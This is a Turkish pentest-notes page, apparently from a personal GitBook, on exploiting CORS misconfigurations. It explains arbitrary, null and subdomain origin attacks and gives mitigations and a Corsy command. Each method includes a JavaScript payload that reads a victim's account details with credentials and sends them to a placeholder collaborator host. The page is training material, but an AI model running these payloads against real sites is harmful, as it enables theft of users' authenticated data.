🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • CORS Nedir?
  • Yöntemler
  • Rastgele Origin
  • NULL Origin
  • Subdomain Origin
  • Önlemler
  • Araçlar
  • Corsy
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

CORS Misconfiguration

PreviousInsecure DeserializationNextDirectory Traversal

Last updated 18 days ago

Was this helpful?

CORS Nedir?

  • Cross-origin resource sharing (CORS), belirli bir domain dışında bulunan kaynaklara kontrollü erişim sağlayan bir tarayıcı mekanizmasıdır.

  • Same Origin Policy'i genişletir ve ona esneklik kazandırır.

  • Bir web sitesinin CORS politikası kötü yapılandırılmış ve uygulanmışsa, cross-domain saldırıları için de potansiyel sağlar.

Yöntemler

Rastgele Origin

# Request
Origin: https://attacker.com

# Response
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://example.com/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='http://COLLABORATOR/?key='+this.responseText;
    };
</script>

NULL Origin

# Request
Origin: null

# Response
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://example.com/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='http://COLLABORATOR/?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

Subdomain Origin

# Request
Origin: https://example.com

# Response
Access-Control-Allow-Origin: https://subdomain.example.com
Access-Control-Allow-Credentials: true
<script>
    document.location="https://stock.example.com/?productId=<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://example.com/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://COLLABORATOR/?key='%2bthis.responseText; };%3c/script>"
</script>

Önlemler

  • Bir web kaynağı hassas bilgiler içeriyorsa, kaynak Access-Control-Allow-Origin başlığında uygun şekilde belirtilmelidir.

  • Access-Control-Allow-Origin başlığında belirtilen domainler yalnızca güvenilen siteler olmalıdır. Özellikle, cross-site isteklerden gelen kökenlerin doğrulama yapılmadan dinamik olarak yansıtılması kolayca istismar edilebilir ve bundan kaçınılmalıdır.

  • Access-Control-Allow-Origin: null başlığını kullanmaktan kaçının. Dahili belgelerden ve sandbox isteklerinden gelen çapraz kökenli kaynak çağrıları null kökeni belirtebilir. CORS başlıkları, özel ve genel sunucular için güvenilir kaynaklara göre uygun şekilde tanımlanmalıdır.

  • Dahili ağlarda joker karakter kullanmaktan kaçının. Dahili tarayıcılar güvenilmeyen harici etki alanlarına erişebildiğinde, dahili kaynakları korumak için yalnızca ağ yapılandırmasına güvenmek yeterli değildir.

  • CORS tarayıcı davranışlarını tanımlar ve asla hassas verilerin sunucu tarafı korumasının yerini almaz, bir saldırgan herhangi bir güvenilir kaynaktan gelen bir isteği doğrudan taklit edebilir. Bu nedenle web sunucuları, doğru yapılandırılmış CORS'a ek olarak kimlik doğrulama ve oturum yönetimi gibi hassas veriler üzerinde korumalar uygulamaya devam etmelidir.

Araçlar

Corsy

python corsy.py -u "https://example.com" --headers "Cookie: session=xxxxxxx"

Kaynaklar

Portswigger Academy:

🕸️
https://portswigger.net/web-security/cors